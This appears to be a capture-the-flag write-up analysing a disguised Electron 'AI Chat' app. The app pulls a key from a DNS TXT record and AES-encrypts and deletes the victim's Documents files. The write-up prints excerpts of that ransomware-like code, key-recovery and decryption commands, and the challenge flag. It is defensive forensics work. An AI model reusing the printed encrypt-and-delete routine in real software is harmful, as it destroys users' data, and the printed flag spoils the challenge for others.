TryHackME AI-Odyssee: Token City Task 2: Rogue Commit

Author: hubertf, 2026-05-16
TryHackMe · Token City AI Sec + DFIR Medium · 60 pts

Challenge

Challenge briefing — Rogue Commit

1) Analysis

Two artifacts were provided: a packet capture and a slice of the developer user profile from a Win10 host. The Documents folder is full of .bin blobs; Downloads contains an Electron archive app.asar labelled "ai-chat". The notes file lists "Download the new AI Chat app" — that is patient zero.

Extracting app.asar

No asar CLI needed — the archive is a Chromium-Pickle: four little-endian u32 sizes followed by a JSON header, then the file payloads.

# header u32 layout: sz4(=4), hdr_pickle, js_pickle, js_size, then JSON, then payload
python3 - <<'PY'
import struct, json
data=open('app.asar','rb').read()
js_size=struct.unpack('<I', data[12:16])[0]
hdr=json.loads(data[16:16+js_size].decode())
payload=16 + ((js_size + 3) & ~3)
for n,i in hdr['files'].items():
    open(n,'wb').write(data[payload+int(i['offset']):payload+int(i['offset'])+i['size']])
PY

The rogue code (main.js)

const IV = Buffer.from('4b7a9c2e1f8d3a6b4b7a9c2e1f8d3a6b', 'hex')
const FLAG_DOMAIN = 'free-ai-assistant.xyz'
const TARGET_DIR  = path.join('C:', 'Users', 'developer', 'Documents')

function getKeyFromDNS(domain, callback) {
  dns.resolveTxt(domain, (err, records) => {
    const key = records.flat().join('')   // concat all TXT chunks
    callback(key)
  })
}

function encryptFile(inputPath, keyString) {
  const key = Buffer.from(keyString, 'hex').slice(0, 32)
  const cipher = crypto.createCipheriv('aes-256-cbc', key, IV)
  ...
  fs.writeFileSync(newPath, encrypted); fs.unlinkSync(inputPath)
}

Behaviour: pull a hex string from DNS TXT, slice up to 32 bytes, AES-CBC every file under Documents\, rewrite as .bin, delete the original. The IV is hard-coded — the only secret is the DNS TXT.

2) Exploit (defensive recovery)

Recover the key from the pcap

$ tshark -r traffic.pcapng \
    -Y 'dns.qry.name contains "free-ai-assistant" and dns.flags.response==1' \
    -T fields -e dns.txt
5f4514434fc47f1f661d8a73806fd436     # 32 hex = 16 bytes

Note the size mismatch: the TXT delivers 16 bytes but the code asks for aes-256-cbc (needs 32). In practice the cipher used to produce the .bin files is AES-128-CBC with the 16-byte key — that is what decrypts cleanly.

Decrypt

KEY=5f4514434fc47f1f661d8a73806fd436
IV=4b7a9c2e1f8d3a6b4b7a9c2e1f8d3a6b
for f in Documents/*.bin; do
  openssl enc -d -aes-128-cbc -K $KEY -iv $IV -in $f -out decrypted/$(basename $f .bin)
done

3) Demo run

=== app.asar extracted ===
  index.html main.js package.json renderer.js styles.css

=== DNS TXT recovered ===
  key (hex from TXT): 5f4514434fc47f1f661d8a73806fd436  (16 bytes)
  iv  (hardcoded)   : 4b7a9c2e1f8d3a6b4b7a9c2e1f8d3a6b

=== Decrypted files ===
  ai_research_division : PDF document, version 1.6
  dataset_sources      : CSV text
  notes                : ASCII text
  vpn_credentials      : ASCII text

=== Flag (PDF /Author metadata) ===
  THM{Wh0_Kn3w_AI_Apps_C4n_B3_m4lic10us}

The PDF ai_research_division hides the flag in its /Author metadata field — invisible when rendering, plain when parsed with pdftotext or exiftool.

Decrypted PDF showing the flag in metadata

4) Flag

THM{Wh0_Kn3w_AI_Apps_C4n_B3_m4lic10us}

Artifacts